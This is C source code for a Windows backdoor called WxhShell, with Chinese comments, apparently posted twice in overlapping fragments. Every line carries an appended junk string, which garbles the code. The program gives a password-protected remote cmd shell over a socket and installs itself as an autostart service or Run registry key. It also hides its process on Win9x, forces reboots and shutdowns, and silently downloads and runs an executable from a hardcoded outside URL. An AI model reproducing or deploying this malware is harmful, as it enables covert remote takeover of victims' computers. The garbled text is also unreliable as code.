    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c'S M>7L  
    else { \/pVcR  
    closesocket(wsh); aQC 7V!v  
    ExitThread(0); E|\3f(aF  
    } V` U/'N-ay  
    break; ;B(;2.<"J  
    } E#m76]vkCU  
  // 获取shell L{zamVQG  
  case 's': { gr[D!D >  
    CmdShell(wsh); i;gw= Be  
    closesocket(wsh); -g~iE]x6Y  
    ExitThread(0); VB}PNg  
    break; YK7gd|LR]  
  } Ed4_<:  
  // 退出 5QNBB|X@  
  case 'x': { =xl7vHn7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?NQD#  
    CloseIt(wsh); 6CCZda@  
    break; +HYN$>  
    } *'s&/vEy  
  // 离开 +W!'B r  
  case 'q': { Id; mn}+~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RiwEuY  
    closesocket(wsh); [Q7`RB  
    WSACleanup();  ;I[ .  
    exit(1); zjzqKdy}F  
    break; @:I \\S@bN  
        } HdDo&#  
  } 6="M0%  
  } "~B~{ _<j  
-(`K7T>D.  
  // 提示信息 :+kg4v&r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H rM)jC<~  
} AN50P!FZW  
  }  zgZi  
PpI+@:p[  
  return; YN$ndqOP  
} Ov F8&*A  
8uD8or  
// shell模块句柄 RRK^~JQI.2  
int CmdShell(SOCKET sock) ytuWT,u  
{ i G?w;  
STARTUPINFO si; q_OY sg  
ZeroMemory(&si,sizeof(si)); 2X qPZ]2g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `<. 7?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `\4RFr$  
PROCESS_INFORMATION ProcessInfo; btJ,dpir  
char cmdline[]="cmd"; |s)VjS4@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R;5QD`  
  return 0; wR`w@ 5,d  
} ZP]2/;h  
U0lqGEZ  
// 自身启动模式 ]0at2  
int StartFromService(void) s:qxAUi\/  
{ $fq-wl-=  
typedef struct n3-GnVC][  
{ 4+Li)A:4.  
  DWORD ExitStatus; p7?CeyZ-V  
  DWORD PebBaseAddress; T +|J19  
  DWORD AffinityMask; >"2\D|-/  
  DWORD BasePriority; S}XB |  
  ULONG UniqueProcessId; 1t} (+NNjH  
  ULONG InheritedFromUniqueProcessId; E1mI Xd;.  
}   PROCESS_BASIC_INFORMATION; BZnp #}f  
 Ep#<$6>  
PROCNTQSIP NtQueryInformationProcess; zM3H@;}m  
;@h'Mb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 98"z0nI%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sYW1T @  
4okHAv8;  
  HANDLE             hProcess; *)}Ap4[  
  PROCESS_BASIC_INFORMATION pbi; =N[V{2}q  
 (9'G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o}j_eH l{  
  if(NULL == hInst ) return 0; 'Kt4O9=p  
ePIly)=X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9g<_JcN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,_e/a   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J7&.>y1%  
o{ YW  
  if (!NtQueryInformationProcess) return 0; ~]m@k'n  
=]2RC1#}e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MfZ}xu  
  if(!hProcess) return 0; ~0Q\Lp);  
kOlI?wc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zip K;!9by  
VLwJ6?.f'  
  CloseHandle(hProcess);  \!' {-J  
O#uaGziFf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OmoplJ+  
if(hProcess==NULL) return 0; V}Y~z)i0  
qx#ghcU  
HMODULE hMod; 80R= r  
char procName[255]; "=v J }  
unsigned long cbNeeded; <W^XSk  
=_H*fhXS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ux/[d6To  
7kWZMi  
  CloseHandle(hProcess); ;{F;e)${M  
o#KPrW`XJ/  
if(strstr(procName,"services")) return 1; // 以服务启动 4,R\3`b  
?L ~=Z\H  
  return 0; // 注册表启动 )=SYJ-ta<  
} }X W#?l  
JVIcNK)  
// 主模块 "8C(_z+]K`  
int StartWxhshell(LPSTR lpCmdLine) k*UR# z(I  
{ :BrnRW64  
  SOCKET wsl; %l]rQjV-  
BOOL val=TRUE; `)gkkZ$)j  
  int port=0; W0r5D9k  
  struct sockaddr_in door; n<"a+TTU  
! A ydhe  
  if(wscfg.ws_autoins) Install(); 5e~{7{  
B2Awdw3=g  
port=atoi(lpCmdLine); S|u1QGB  
KzFs#rhpn  
if(port<=0) port=wscfg.ws_port; V }r_   
UU:QK{{E  
  WSADATA data; cvLcre% >A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4)>\rqF+v  
*M**h-p2'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QeOt; {_|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S92 !jp/  
  door.sin_family = AF_INET; MM58w3Mz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #VMBn}   
  door.sin_port = htons(port); $BO}D  
EF7|%N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fAA@ziKg  
closesocket(wsl); ss M9t  
return 1; 3\U,Kg  
} ?U.&7yY  
e^l+ #^fR  
  if(listen(wsl,2) == INVALID_SOCKET) { N4GIb 6  
closesocket(wsl); uzn))/"  
return 1; JXa%TpI: E  
} N6 }i>";_;  
  Wxhshell(wsl); kI1{>vYD  
  WSACleanup(); ` a<|CcUGU  
/Z9`uK  
return 0; f+W[]KK*PW  
7_d#XKz@  
} Zv7$epDUz  
TYLl_nGr  
// 以NT服务方式启动 T;pn -  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) snk{u/0Xm  
{ '/"M02a  
DWORD   status = 0; 7!QXh;u  
  DWORD   specificError = 0xfffffff; ~>-;(YU"t  
#p9z#kin  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MH~qfH>K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `?S?)0B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5t1DB'K9$_  
  serviceStatus.dwWin32ExitCode     = 0; B[m{2XzGH  
  serviceStatus.dwServiceSpecificExitCode = 0; )^' B:ic  
  serviceStatus.dwCheckPoint       = 0; moM&2rgdrQ  
  serviceStatus.dwWaitHint       = 0; _/w-gL{  
a*wJcJTpV"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x jUH<LFxy  
  if (hServiceStatusHandle==0) return; k~EPVJh"  
M&\?)yG  
status = GetLastError(); ;cHI3V  
  if (status!=NO_ERROR) fyoB]{$p8  
{ aZ:?(u]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2 n+XML  
    serviceStatus.dwCheckPoint       = 0; (/P&;?j  
    serviceStatus.dwWaitHint       = 0; Bc@r*zb  
    serviceStatus.dwWin32ExitCode     = status; YV!V9   
    serviceStatus.dwServiceSpecificExitCode = specificError; oX]1>#5UMg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |"E9DD]{  
    return; YGO7lar  
  } ?kxWj(D  
> mDubP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s/&]gj "  
  serviceStatus.dwCheckPoint       = 0; &^D@(m7>{K  
  serviceStatus.dwWaitHint       = 0; I!0 +RP(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GpQF * x  
} EYD{8Fw-  
fvfVBk#  
// 处理NT服务事件,比如:启动、停止 o 0 #]EMr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U$JIF/MO_  
{ -$|X\#R  
switch(fdwControl) R3!vS+5rR  
{ X|B;>q  
case SERVICE_CONTROL_STOP: < 3+&DV-<N  
  serviceStatus.dwWin32ExitCode = 0; h}<ZZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Cyjq0+  
  serviceStatus.dwCheckPoint   = 0; t4c#' y  
  serviceStatus.dwWaitHint     = 0; h9smviU7u  
  { J#Eh x|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bvRGTOxO  
  } EuA<{%i  
  return; 7?WBzo!!L  
case SERVICE_CONTROL_PAUSE: w=>mG-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +rO<'H:umJ  
  break; 4'[ V'c\  
case SERVICE_CONTROL_CONTINUE: g-gBg\y{v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cZT.vA#  
  break; l5nDt$Ex  
case SERVICE_CONTROL_INTERROGATE: 05LQh  
  break; [)0k}  
}; 3NZFW{u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  wupD   
} 2 3w{h d  
cW^) $>A  
// 标准应用程序主函数 mnaD KeA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ga9:*G!b{)  
{ =0yJ2[R7Do  
&/FwV'  
// 获取操作系统版本 8mddI  
OsIsNt=GetOsVer(); nv Gd:]Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (uc)^lfX  
F@K;A%us)  
  // 从命令行安装 ;@s~t:u  
  if(strpbrk(lpCmdLine,"iI")) Install(); fR;_6?p*B  
?t P/VL  
  // 下载执行文件 ''07Km@x  
if(wscfg.ws_downexe) { -{SiK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B;je|M!d  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^#nWgo7{7  
} )#Bfd(F  
,w>?N\w!}  
if(!OsIsNt) { JLn<,Gn)<\  
// 如果时win9x,隐藏进程并且设置为注册表启动 z5'nS&x  
HideProc(); {# _C  
StartWxhshell(lpCmdLine); f+~!s 2uw  
} eakIK+-21y  
else 4x=Y9w0?8  
  if(StartFromService()) PdBhX  
  // 以服务方式启动 L4Y3\4xXO  
  StartServiceCtrlDispatcher(DispatchTable); dV  
else hkI);M+@6  
  // 普通方式启动 QLg9aG|  
  StartWxhshell(lpCmdLine);  kovzB]  
;>Qd )'  
return 0; ha~s< I  
} N,$o' \l  
shZ<j7gqI  
8QBL:7<  
6\@, Lb  
=========================================== DK%eFCo<~  
|%;txD  
X;>} ;LiK  
=upP3rw  
b<7 qmg3  
3<V!y&a  
" #_\~Vrf(#  
A@'W $p?5r  
#include <stdio.h> 83*k.]S`  
#include <string.h> ^uzVz1%mM  
#include <windows.h> 1`\kXaG  
#include <winsock2.h> Mp=+*I[  
#include <winsvc.h> 3s`3}DKK  
#include <urlmon.h> /=}vP ey  
^4NH.q{  
#pragma comment (lib, "Ws2_32.lib") nP31jm+A  
#pragma comment (lib, "urlmon.lib") j-|0&X1C  
zSCPp6  
#define MAX_USER   100 // 最大客户端连接数 "PtH F`mo  
#define BUF_SOCK   200 // sock buffer *^_!W'T{j  
#define KEY_BUFF   255 // 输入 buffer v}D!  
Vrh],xK7  
#define REBOOT     0   // 重启 MEUqQ4/Gl  
#define SHUTDOWN   1   // 关机 CU_06A|}  
(B#|3o  
#define DEF_PORT   5000 // 监听端口  cf!R  
c Zr4  
#define REG_LEN     16   // 注册表键长度  Z.JTq~`I  
#define SVC_LEN     80   // NT服务名长度 r%n[PK^(  
TD7ONa-,  
// 从dll定义API `I$A;OPK7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =1capix 1r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $0t %}DE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hBu =40K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KW<CU'  
Um<vsR  
// wxhshell配置信息 -Ma"V  
struct WSCFG { V.1sZYA9  
  int ws_port;         // 监听端口 FU3B;Fn^Z(  
  char ws_passstr[REG_LEN]; // 口令 xd@DN;e  
  int ws_autoins;       // 安装标记, 1=yes 0=no p.|; k%c7  
  char ws_regname[REG_LEN]; // 注册表键名 A[bxxQSP\H  
  char ws_svcname[REG_LEN]; // 服务名 %-CC_R|0$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dz 2d`=`3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FoQk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lR!$+atW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *Rd&4XG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,L G&sa"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 swrd  
M-gjS6c\3  
}; 8>9+w/DL  
Ui&$/%Z|  
// default Wxhshell configuration X;NTz75  
struct WSCFG wscfg={DEF_PORT, qT4s* kqr  
    "xuhuanlingzhe", #v-!GK_<  
    1, ./'n2$^3  
    "Wxhshell", !TF VBK  
    "Wxhshell", L')zuI  
            "WxhShell Service", :83" t-O8[  
    "Wrsky Windows CmdShell Service", r "R\  
    "Please Input Your Password: ", D~:fn|/Brp  
  1, s-B\8&^C  
  "http://www.wrsky.com/wxhshell.exe", X'm2uOEj  
  "Wxhshell.exe" n6f|,D!?  
    }; Y<v55m-  
-,&Xp>u\  
// 消息定义模块 i_"I"5pBF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xjN~Y D:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w6_}] &F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L;[*F-+jD  
char *msg_ws_ext="\n\rExit."; d,)L,J  
char *msg_ws_end="\n\rQuit."; F`u~Jx8.*  
char *msg_ws_boot="\n\rReboot..."; y(k2p  
char *msg_ws_poff="\n\rShutdown..."; |=POV]K  
char *msg_ws_down="\n\rSave to "; x3Uv&  
:-)[B^0  
char *msg_ws_err="\n\rErr!"; EIRf6jL  
char *msg_ws_ok="\n\rOK!"; V_* ^2c)  
=j0V/=  
char ExeFile[MAX_PATH]; [>;O'>  
int nUser = 0; A?/?9Gr  
HANDLE handles[MAX_USER]; \<} nn?~n  
int OsIsNt; xcig'4L  
v6:DA#0  
SERVICE_STATUS       serviceStatus; u#\3T>o%@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $$@Tgkg?o  
? &O$ayG77  
// 函数声明 |}; ~YMH  
int Install(void); 5h1j.t!  
int Uninstall(void); w9%gaK;  
int DownloadFile(char *sURL, SOCKET wsh); WxFjpJt  
int Boot(int flag); 'SmdU1]4BD  
void HideProc(void); 5 Jhl4p}w  
int GetOsVer(void); /Q!F/HY3ZS  
int Wxhshell(SOCKET wsl); PewLg<?,G4  
void TalkWithClient(void *cs); O,cx9N  
int CmdShell(SOCKET sock); ($wYaw z  
int StartFromService(void); ;IT^SHym  
int StartWxhshell(LPSTR lpCmdLine); #d~"bn q;c  
zkMQ= ,[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m"*:XfOL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RY'y%6Z]ZO  
oZ}e w!V  
// 数据结构和表定义 g:Dg?_o  
SERVICE_TABLE_ENTRY DispatchTable[] = X'c5s~9  
{ [3.rG!Na  
{wscfg.ws_svcname, NTServiceMain}, HIF] c  
{NULL, NULL} Aq"_hjp  
}; Ssj'1[%  
89paR[  
// 自我安装 4v>V7T.  
int Install(void) Lh}he:k+  
{ wb}tN7~Y;  
  char svExeFile[MAX_PATH]; 9YJb~tuZ73  
  HKEY key; b%kh:NV{S  
  strcpy(svExeFile,ExeFile); J: LSGj;R  
i"'k|TGW^  
// 如果是win9x系统,修改注册表设为自启动 ^6*? a9jO>  
if(!OsIsNt) { CqoL5qt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J.<m@\U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j- A|\:   
  RegCloseKey(key); MWl@smRh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tT7$2 9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iB?@(10}ES  
  RegCloseKey(key); Ur`v*LT}~  
  return 0; =9c24j  
    } (:\hor%  
  } 6-3l6q  
} \; 3r  
else { L,WK L.  
=4zsAa  
// 如果是NT以上系统,安装为系统服务 HiC\U%We  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,'!&Z *  
if (schSCManager!=0) `# R$  
{ r#XDgZtI  
  SC_HANDLE schService = CreateService & zG=  
  ( ;[xDc>&("Q  
  schSCManager, )"1D-Bc\Q  
  wscfg.ws_svcname, <ygO?m{  
  wscfg.ws_svcdisp, "CaVT7L  
  SERVICE_ALL_ACCESS, pQp}HD!-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *f(}@U  
  SERVICE_AUTO_START, aQ)9<LsI  
  SERVICE_ERROR_NORMAL, `drvu?F  
  svExeFile, vmoqsdZ/  
  NULL, "%Jx,L\f{  
  NULL, %S^`/Snv"  
  NULL, z+ 4R[+[  
  NULL, $*PyzLS  
  NULL =y':VIVJC  
  ); 68y.yX[  
  if (schService!=0) =3"Nn4Z  
  { pK3cg|}  
  CloseServiceHandle(schService); DGU$3w  
  CloseServiceHandle(schSCManager); TC2aD&cw{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5}m2D='  
  strcat(svExeFile,wscfg.ws_svcname); 8]Pf:_e,+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  u(BYRB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~7ArH9k .  
  RegCloseKey(key); xH=&={  
  return 0; B4.hJZ5  
    } d1,azM  
  } E`i;9e'S  
  CloseServiceHandle(schSCManager); "-hgeQX  
} tly:$;K  
} u4S3NLG)  
dlW w=^  
return 1; p?}Rolk7  
} j#*K[  
+?c&Gazi  
// 自我卸载 zYep V  
int Uninstall(void) TqlUe@E  
{ +@!9&5S A  
  HKEY key; / g&mDYV|  
I@hC$o  
if(!OsIsNt) { :g,rl\S7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { toQn]MT  
  RegDeleteValue(key,wscfg.ws_regname); o6qQ zk  
  RegCloseKey(key); =Xp 3UNXg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WaH TzIa[  
  RegDeleteValue(key,wscfg.ws_regname); i{`>!)U  
  RegCloseKey(key); 8^^al!0K~  
  return 0; 4yknX% [  
  } H&GM q5)B  
} tuv4~i<  
} H[Qh*pq2  
else { 3Mdg&~85  
Y)uNzb6R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #>233<  
if (schSCManager!=0) N+r~\[N\9  
{ 9oaq%Sf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H fRxgA@  
  if (schService!=0) ]Rw,5\0  
  { k<:!^_3H  
  if(DeleteService(schService)!=0) { `xtN+y F  
  CloseServiceHandle(schService); v!x=fjr<  
  CloseServiceHandle(schSCManager); p@!"x({@l  
  return 0; im&| H-  
  } M0^r!f>O  
  CloseServiceHandle(schService); 0]"j,  
  } ,@P3!|  
  CloseServiceHandle(schSCManager); [0 W^|=#K  
} Edjh*  
} {L8SD U{P  
sG\=_-"v(  
return 1; u^{Q|o:=x  
} \>\w-ty[(  
\O^= Z{3y  
// 从指定url下载文件 bT8BJY%+  
int DownloadFile(char *sURL, SOCKET wsh) HkQ2G}<  
{ p}j{ <y  
  HRESULT hr; I&^?,Fyy<  
char seps[]= "/"; QJv,@@mu  
char *token; B aXzz  
char *file; HVC\(h,)i  
char myURL[MAX_PATH]; D 0(gEb  
char myFILE[MAX_PATH]; C&"8A\we  
$H_4Y-xOi  
strcpy(myURL,sURL); i4->XvC  
  token=strtok(myURL,seps); au GN~"n^  
  while(token!=NULL) (OJ}|*\e  
  { @]OI(B  
    file=token; {t9U]hX%A[  
  token=strtok(NULL,seps); )Dv"seH.  
  } :}E*u^v K  
QJ$]~)w?H  
GetCurrentDirectory(MAX_PATH,myFILE); MY0Wr%@#0  
strcat(myFILE, "\\"); KYlWV<sR  
strcat(myFILE, file); 5uu{f&?u)  
  send(wsh,myFILE,strlen(myFILE),0); +8~S28"Wg3  
send(wsh,"...",3,0); EmLPq!C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yqoi2J:  
  if(hr==S_OK) ~ 9'64  
return 0; UH[ YH;3O  
else 6H3_q x  
return 1; ^goS? p/z  
Y}4dW'  
} |R+=Yk&u  
{"@Bf<J#  
// 系统电源模块 Uz1u6BF  
int Boot(int flag) ma-|L3 #  
{ ,@<-h* m  
  HANDLE hToken; }3+q}_3  
  TOKEN_PRIVILEGES tkp; d`^@/1tO  
smWA~Aq  
  if(OsIsNt) { Ir]b. 6B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y\j &84  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `5>IvrzXrK  
    tkp.PrivilegeCount = 1; JhuK W>7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "+| >nA=7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4h(aTbHaQ  
if(flag==REBOOT) { >q]r)~8F^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NMOTWA }2  
  return 0; xNjA>S\]W5  
} L*FnFRhU  
else { d *H-l3N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8o~\L= l  
  return 0; _msDf2e9  
} I2zSoQ1P  
  } Jq.26I=  
  else { #{N#yReh  
if(flag==REBOOT) { \Z)'':},C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u |#ruFR  
  return 0; vnIxI a  
} J :,  
else { DrW]`%Ql  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FxD"z3D  
  return 0; OY?uqP}c  
} @ cv`}k  
} RPLr7Lb  
7\jH?Zi  
return 1; J\2F%kBej?  
} TzPVO>s  
N\H(AzMw  
// win9x进程隐藏模块 K<N0%c~  
void HideProc(void) m 81\cg  
{ % 3FI>\3  
w$2-t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \2~.r/`1  
  if ( hKernel != NULL ) 's*UU:R  
  { 4u:{PN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SqEO ] ~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c-gaK\u}j}  
    FreeLibrary(hKernel); ^B5Hjf9  
  } hI/p9 `w  
!hJ%{.  
return; p|W:;(  
} rNI3_|a  
4 9#I  
// 获取操作系统版本 aHb,4 wY  
int GetOsVer(void) sYXVSNonm  
{ J| 3CG;+  
  OSVERSIONINFO winfo; bEPXNN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s'/ug  
  GetVersionEx(&winfo); 64zO%F*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D4`7,JC}<  
  return 1;  vlE#z  
  else $|A vT;4  
  return 0; @ '<lD*W  
} =. OW sFv  
*r(iegO$  
// 客户端句柄模块 $KtMv +m"  
int Wxhshell(SOCKET wsl) .t\ Yv/|`  
{ igz&7U8gg  
  SOCKET wsh; r Cmqq/hZ  
  struct sockaddr_in client; .o fYFK  
  DWORD myID; Z^#7&Pv0  
6~D:O?2  
  while(nUser<MAX_USER) C10A$=!  
{ \7W {/v4^  
  int nSize=sizeof(client); na%9E8;:&v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pW!]  
  if(wsh==INVALID_SOCKET) return 1; x37r{$2  
'\ 6.GP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /GCSC8T  
if(handles[nUser]==0) Qa"R?dfr  
  closesocket(wsh); pQW^lqwZ:6  
else hu6)GOZbv  
  nUser++; KA.@q AEB  
  } y*_g1q$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X~W5Z(w(O  
6I 2`m(5  
  return 0; k%uRG_  
} #bf^Pq'8  
w6Ue5Ix,!  
// 关闭 socket g[!sGa &  
void CloseIt(SOCKET wsh) '?Hy"5gUA  
{ M}us^t*  
closesocket(wsh); IgSe%B  
nUser--; .8g&V|  
ExitThread(0); F5)Ta?3|"<  
} 6eQrupa  
T*'5-WV|3t  
// 客户端请求句柄 =g?r.;OO  
void TalkWithClient(void *cs) Hs2L$TX  
{ XbG=H-|  
l$PO!JRD  
  SOCKET wsh=(SOCKET)cs; |RHX2sso  
  char pwd[SVC_LEN]; vChkSY([  
  char cmd[KEY_BUFF]; #16)7  
char chr[1]; 92eS*x2@  
int i,j; *FOTq'%i  
 #]n[  
  while (nUser < MAX_USER) { TS@EE&Wq  
NcqE)"yObo  
if(wscfg.ws_passstr) { c a$D|3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R?^FO:nM%!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uy7)9w  
  //ZeroMemory(pwd,KEY_BUFF); iSHNt0Nl  
      i=0; 2{ }5WH  
  while(i<SVC_LEN) { :Im_=S[0  
c1b@3  
  // 设置超时 IzkZ^;(N  
  fd_set FdRead; awMm&8cIM  
  struct timeval TimeOut; LvE|K&R|  
  FD_ZERO(&FdRead); )]rGGNF*  
  FD_SET(wsh,&FdRead); Bxz{rR0XV  
  TimeOut.tv_sec=8; -08Ys c  
  TimeOut.tv_usec=0; h&[!CtPm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )V~<8/)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DR^mT$  
FL0[V,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *}3~8fu{  
  pwd=chr[0]; us$~6  
  if(chr[0]==0xd || chr[0]==0xa) { )FE'#\  
  pwd=0; <@e6zQG  
  break; 0^tF_."Y  
  } trM8 p  
  i++; u{exQ[,E  
    } hnH:G`[F  
/C_O/N  
  // 如果是非法用户,关闭 socket ;LthdY()n(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (#7pGGp*E  
} w QwY_ _  
N4'b]:`n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vy6NH5Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >0B [  
5v!Uec'+  
while(1) { <S TwylL  
JA())0a  
  ZeroMemory(cmd,KEY_BUFF); ?=f\oH$  
\fh.D/@  
      // 自动支持客户端 telnet标准   sK}Ru?a)  
  j=0; C6Dq7~{B  
  while(j<KEY_BUFF) { c[J#Hc8;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B8;_h#^q  
  cmd[j]=chr[0]; )` '  
  if(chr[0]==0xa || chr[0]==0xd) { EtN"K-X  
  cmd[j]=0; o]PSyVg  
  break; Nf1) 5  
  } A~O 'l&KB  
  j++; Ow+7o@$"/  
    } ]X@/0  
Pbd#Fu;  
  // 下载文件 $Iv*?S"2  
  if(strstr(cmd,"http://")) { j@2-^q:`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ukvz#hdE  
  if(DownloadFile(cmd,wsh)) rTW1'@E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ZDJs`h!`  
  else I3s'44  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;k(|ynXv  
  } I\`:(V  
  else { B3)#Ou2  
GsE?<3  
    switch(cmd[0]) { |LiFX5!\  
  s^js}9]p  
  // 帮助 |oPqX %?  
  case '?': { 7q$9\RR5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ay"x<JB{U2  
